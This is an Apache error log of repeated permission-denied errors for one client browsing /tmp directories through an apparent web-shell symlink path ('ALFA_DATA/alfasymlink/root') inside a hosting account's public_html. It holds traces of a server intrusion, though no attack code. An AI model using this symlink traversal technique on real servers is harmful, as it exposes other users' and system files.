[Tue Oct 27 14:23:50.059173 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/puppeteer_dev_chrome_profile-hhMbCm/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/puppeteer_dev_chrome_profile-hhMbCm/' is executable
[Tue Oct 27 14:23:50.059202 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-ea-php81-php-fpm.service-OgoCey/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-ea-php81-php-fpm.service-OgoCey/' is executable
[Tue Oct 27 14:23:50.059224 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/wBeybsLHXV/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/wBeybsLHXV/' is executable
[Tue Oct 27 14:23:50.059245 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/8q2sCydPh5/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/8q2sCydPh5/' is executable
[Tue Oct 27 14:23:50.059259 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ViFEAD6HYr/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ViFEAD6HYr/' is executable
[Tue Oct 27 14:23:50.059271 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/WnEC8KZtlU/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/WnEC8KZtlU/' is executable
[Tue Oct 27 14:23:50.059367 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/hNQbPWd2kD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/hNQbPWd2kD/' is executable
[Tue Oct 27 14:23:50.059412 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/7b1aDEYVIR/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/7b1aDEYVIR/' is executable
[Tue Oct 27 14:23:50.059447 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-ea-php81-php-fpm.service-uI49Le/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-ea-php81-php-fpm.service-uI49Le/' is executable
[Tue Oct 27 14:23:50.059467 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/nL4cUoX2dh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/nL4cUoX2dh/' is executable
[Tue Oct 27 14:23:50.059488 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/atbV7hLAQS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/atbV7hLAQS/' is executable
[Tue Oct 27 14:23:50.059502 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/oq6K0rejFI/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/oq6K0rejFI/' is executable
[Tue Oct 27 14:23:50.059514 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_4gGxNj1jq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_4gGxNj1jq/' is executable
[Tue Oct 27 14:23:50.059527 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/PK7EkDXBbp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/PK7EkDXBbp/' is executable
[Tue Oct 27 14:23:50.059539 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/P7NdWo184S/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/P7NdWo184S/' is executable
[Tue Oct 27 14:23:50.059573 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/1Yt1W3a9Ze/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/1Yt1W3a9Ze/' is executable
[Tue Oct 27 14:23:50.059588 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9rQ4cdkNCQ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9rQ4cdkNCQ/' is executable
[Tue Oct 27 14:23:50.059600 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_kkgr6o8ai/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_kkgr6o8ai/' is executable
[Tue Oct 27 14:23:50.059612 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/xjhoijgaTz/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/xjhoijgaTz/' is executable
[Tue Oct 27 14:23:50.059631 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/vhrRK1JXY7/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/vhrRK1JXY7/' is executable
[Tue Oct 27 14:23:50.059646 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/w1Du8raeKq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/w1Du8raeKq/' is executable
[Tue Oct 27 14:23:50.059686 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-chronyd.service-8mttHT/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-chronyd.service-8mttHT/' is executable
[Tue Oct 27 14:23:50.059706 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/4x7GklfLfl/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/4x7GklfLfl/' is executable
[Tue Oct 27 14:23:50.059724 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Jv_fJ8FgT6/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Jv_fJ8FgT6/' is executable
[Tue Oct 27 14:23:50.059748 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/aWw1loTP0R/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/aWw1loTP0R/' is executable
[Tue Oct 27 14:23:50.059763 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-pdns.service-OPTQiD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-pdns.service-OPTQiD/' is executable
[Tue Oct 27 14:23:50.059777 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/rtyBKWjryj/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/rtyBKWjryj/' is executable
[Tue Oct 27 14:23:50.059795 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ipRojNggb4/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ipRojNggb4/' is executable
[Tue Oct 27 14:23:50.059815 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_NkDK_G3eh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_NkDK_G3eh/' is executable
[Tue Oct 27 14:23:50.059829 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-chronyd.service-7hcWfh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-chronyd.service-7hcWfh/' is executable
[Tue Oct 27 14:23:50.059848 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/kCf6PZ1WYZ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/kCf6PZ1WYZ/' is executable
[Tue Oct 27 14:23:50.059867 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/84lPUOx2JO/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/84lPUOx2JO/' is executable
[Tue Oct 27 14:23:50.059881 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/js2u_Gtz2I/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/js2u_Gtz2I/' is executable
[Tue Oct 27 14:23:50.059907 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/rqXfNeDxe6/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/rqXfNeDxe6/' is executable
[Tue Oct 27 14:23:50.059920 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/NgqDY1QDQC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/NgqDY1QDQC/' is executable
[Tue Oct 27 14:23:50.059943 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/S6oGysmQfR/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/S6oGysmQfR/' is executable
[Tue Oct 27 14:23:50.059966 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ssmTYfkWmO/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ssmTYfkWmO/' is executable
[Tue Oct 27 14:23:50.059987 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9Hdweni0LQ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9Hdweni0LQ/' is executable
[Tue Oct 27 14:23:50.060000 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ZS9bRKE_ln/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ZS9bRKE_ln/' is executable
[Tue Oct 27 14:23:50.060029 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/TI_LDuVRZp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/TI_LDuVRZp/' is executable
[Tue Oct 27 14:23:50.060049 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/HRDPmHzdRv/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/HRDPmHzdRv/' is executable
[Tue Oct 27 14:23:50.060067 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/WJiRaJProP/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/WJiRaJProP/' is executable
[Tue Oct 27 14:23:50.060085 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/VWx0oIa_ha/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/VWx0oIa_ha/' is executable
[Tue Oct 27 14:23:50.060133 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-ea-php81-php-fpm.service-ZhRwWT/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-ea-php81-php-fpm.service-ZhRwWT/' is executable
[Tue Oct 27 14:23:50.060152 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/pulse-PKdhtXMmr18n/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/pulse-PKdhtXMmr18n/' is executable
[Tue Oct 27 14:23:50.060164 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/xim55mZdmP/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/xim55mZdmP/' is executable
[Tue Oct 27 14:23:50.060226 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/3RwJFJrH4V/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/3RwJFJrH4V/' is executable
[Tue Oct 27 14:23:50.060241 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/6mRamnU6vq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/6mRamnU6vq/' is executable
[Tue Oct 27 14:23:50.060263 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-chronyd.service-q3gB5i/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-chronyd.service-q3gB5i/' is executable
[Tue Oct 27 14:23:50.060284 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/QY6TdlpePz/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/QY6TdlpePz/' is executable
[Tue Oct 27 14:23:50.060325 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/5EdmaNv2PN/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/5EdmaNv2PN/' is executable
[Tue Oct 27 14:23:50.060346 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-pdns.service-MpBBHk/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-pdns.service-MpBBHk/' is executable
[Tue Oct 27 14:23:50.060397 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/5f_1VQEffJ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/5f_1VQEffJ/' is executable
[Tue Oct 27 14:23:50.060423 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/yrMznD9gyg/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/yrMznD9gyg/' is executable
[Tue Oct 27 14:23:50.060444 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/i3jxbRrWaA/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/i3jxbRrWaA/' is executable
[Tue Oct 27 14:23:50.060464 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/dNfJKz5yvg/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/dNfJKz5yvg/' is executable
[Tue Oct 27 14:23:50.060477 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/TI2qwhbKGu/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/TI2qwhbKGu/' is executable
[Tue Oct 27 14:23:50.060503 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/hPKEt7w1PK/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/hPKEt7w1PK/' is executable
[Tue Oct 27 14:23:50.060518 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-ea-php81-php-fpm.service-JKuC7o/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-ea-php81-php-fpm.service-JKuC7o/' is executable
[Tue Oct 27 14:23:50.060539 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-pdns.service-6JeWhp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-pdns.service-6JeWhp/' is executable
[Tue Oct 27 14:23:50.060552 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/C3vvDGRpTf/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/C3vvDGRpTf/' is executable
[Tue Oct 27 14:23:50.060563 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/eTa7v46lM5/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/eTa7v46lM5/' is executable
[Tue Oct 27 14:23:50.060582 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/oFkHjdAXTr/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/oFkHjdAXTr/' is executable
[Tue Oct 27 14:23:50.060600 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/o1Nn2aP6r8/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/o1Nn2aP6r8/' is executable
[Tue Oct 27 14:23:50.060618 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/kEKIbVJwbS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/kEKIbVJwbS/' is executable
[Tue Oct 27 14:23:50.060664 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/xC1whEdMkq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/xC1whEdMkq/' is executable
[Tue Oct 27 14:23:50.060689 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9fqABosYmc/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9fqABosYmc/' is executable
[Tue Oct 27 14:23:50.060736 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/lost+found/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/lost+found/' is executable
